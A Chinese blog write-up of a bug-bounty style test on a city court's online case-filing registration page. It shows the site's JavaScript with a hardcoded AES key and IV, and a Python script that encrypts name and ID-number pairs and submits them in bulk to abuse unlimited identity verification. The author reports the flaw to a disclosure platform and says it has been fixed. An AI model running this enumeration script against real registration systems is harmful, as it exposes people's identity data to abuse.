记一次某超一线城市中级人民法院的极速漏洞挖掘

开始测试

首先访问给出的URL
1
可以看到有很多功能点,随便点几个发现都需要先登录才可以使用
2

这里我们为了速度就直接测试注册功能点,不再测试忘记密码和后续的功能点了

填入信息之后点击注册提示身份验证失败,推测此处会有无限制二要素验证漏洞
3
无限二要素验证应该能给个中低危,毕竟这种漏洞基本都是黑灰产才有利用点

抓包

现在使用BurpSuite看看数据包有没有加密
4
坏消息,数据包被加密了,只能试着扒js了

分析JS

数据包一眼base64,但是解密后还是被加密过的,猜测是aes
网站js倒是挺好找,代码也不长只有一百多行,也没有混淆
贴一下源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
  $(function () {
/*初始化验证码*/
createCode();
$("#register").click(function(){
if(!checkForm()){
return;
}
var zjhm = aesMinEncrypt($("#zjhm").val());
var name = aesMinEncrypt($("#name").val());
var dzyx = aesMinEncrypt($("#dzyx").val());
var mm = aesMinEncrypt($("#mm").val());
var sjhm = aesMinEncrypt($("#sjhm").val());

var params = {'yzm':$("#J_codetext").val(), 'dsrlx':"1", 'zjlx':"1", 'zjhm': zjhm, 'name': name, 'dzyx': dzyx, 'mm': mm, 'sjhm': sjhm};
$.ajax({
url:"/user/create",
data:params,
type : 'post',
cache : false,
dataType : 'json',
success : function(data) {
console.log(data);
if(data.success){
console.log(data);
layer.open({
content : "注册成功",
time : 1,
});
autoLogin($("#zjhm").val(),$("#mm").val());
}else{
layer.open({
content : data.msg,
time : 1,
});
createCode();
}
}
});
});

/*验证页面*/
function checkForm(){
var name = $("#name").val();
if(name == null || name == ""){
layer.open({
content : "请输入姓名",
time : 1,
});
return false;
}

var zjhm = $("#zjhm").val();
if(zjhm == null || zjhm == ""){
layer.open({
content : "请输入证件号码",
time : 1,
});
return false;
}
var sjhm = $("#sjhm").val();
if(sjhm == null || sjhm == ""){
layer.open({
content : "请输入手机号码",
time : 1,
});
return false;
}
var mm = $("#mm").val();
if(mm == null || mm == ""){
layer.open({
content : "请输入密码",
time : 1,
});
return false;
}
var qrmm = $("#qrmm").val();
if(qrmm == null || qrmm == ""){
layer.open({
content : "请输入确认密码",
time : 1,
});
return false;
}
if (mm != qrmm) {
layer.open({
content : "密码与确认密码不一致",
time : 1,
});
return false;
}
if(!validate()){
layer.open({
content : "验证码输入错误",
time : 1,
});
return false;
}
if (!$("#ydxy").is(':checked')) {
layer.open({
content : "请同意《微信预约立案协议》",
time : 1,
});
return false;
}
return true;
}
});
function autoLogin(idcard, password) {
$.post('/user/doLogin', {
idcard : idcard,
password : password,
}, function(data) {
if (data.success) {
var to = getValue('to');
if (to != null && to != '') {
if (to == 'bz')
//url = 'reapply.html';
url = '../prereapply.html';
if (to == 'ycbz')
url = '../personalIndex.html';
if (to == 'yyla')
url = '../personalPor.html';
if(to=='set')
url = '../personalSeting.html';
if(to=="yy")
url = '../order.html';
if(to=="rz")
url = '../authe/inputCode.html';
if(to=="grzxsfyz")
url = '../authe/personalAuthe.html';
if(to=="wdaj")
url = '../wdaj/ajlb.html';
}
window.setTimeout(redrect, 1000);
}
});
}
//验证码校验
function validate() {
var inputCode = document.getElementById("J_codetext").value.toUpperCase();
var codeToUp = code.toUpperCase();
if (inputCode.length <= 0) {
createCode();
return false;
} else if (inputCode != codeToUp) {
document.getElementById("J_codetext").value = "";
createCode();
return false;
} else {
createCode();
return true;
}
}

由于这次是快速挖洞所以就不具体分析了,这个js大概功能就是

  • 使用createCode()方法初始化验证码,validate()方法校验用户输入的验证码是否正确
  • 点击 注册 按钮时,通过checkForm()验证表单数据的完整性和正确性
  • 表单数据通过aesMinEncrypt加密后,以 POST 请求方式提交到服务器/user/create
  • 根据服务器返回的数据,显示注册成功或失败的信息。如果失败,重新生成验证码
  • 注册成功后调用autoLogin()自动登录,并根据返回值跳转到不同页面

现在开始分析加密逻辑
又是个好消息,加密函数单独拆分成了一个js,并且 密钥 和 iv 都是明文

1
2
3
4
5
6
7
8
9
10
11
12
13
............
function aesMinEncrypt(word){
var _word = CryptoJS.enc.Utf8.parse(word),
_key = CryptoJS.enc.Utf8.parse("ihaierForTodoKey"),
_iv = CryptoJS.enc.Utf8.parse("ihaierForTodo_Iv");
var encrypted = CryptoJS.AES.encrypt(_word, _key, {
iv: _iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.toString();
}
............
  • 首先将输入的字符串转换成 UTF-8格式
  • 然后固定key是ihaierForTodoKey,iv是ihaierForTodo_Iv
  • 然后以CBC和PKCS7模式进行aes加密
  • 最后返回加密后的Base64字符串

既然整体逻辑知道了,那就直接上Python
这里就只贴关键函数了,其他部分写的有点乱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from base64 import b64encode
import json

def aes_encrypt(word, key, iv):
word_bytes = word.encode('utf-8')
key_bytes = key.encode('utf-8')
iv_bytes = iv.encode('utf-8')

cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
encrypted_bytes = cipher.encrypt(pad(word_bytes, AES.block_size))

return b64encode(encrypted_bytes).decode('utf-8')

def send_encrypted_requests():
key = "ihaierForTodoKey"
iv = "ihaierForTodo_Iv"

input_data = load_input_data('input.txt')

for name, id_num in input_data:
encrypted_name = aes_encrypt(name, key, iv)
encrypted_id = aes_encrypt(id_num, key, iv)

data = {
'yzm': 'xxx',
'dsrlx': '1',
'zjlx': '1',
'zjhm': encrypted_id,
'name': encrypted_name,
'dzyx': aes_encrypt("xxx", key, iv),
'mm': aes_encrypt("xxx", key, iv),
'sjhm': aes_encrypt("xxx", key, iv)
}

headers = {

}


response = requests.post("https://xxx/user/create", data=data, headers=headers, verify=False)

提交漏洞

测试成功,补写了一个生成身份证的py之后可以实现最初猜测的无限制二要素验证漏洞

直接打包提交补天orCNVD

本次极速漏洞挖掘结束

后记

截止到发文日期,该漏洞已修复,造成的任何后果与本人无关


记一次某超一线城市中级人民法院的极速漏洞挖掘
http://blog.luckysix.cc/2024/09/21/记一次某超一线城市中级人民法院的极速漏洞挖掘/
作者
Thanatos
发布于
2024年9月21日
许可协议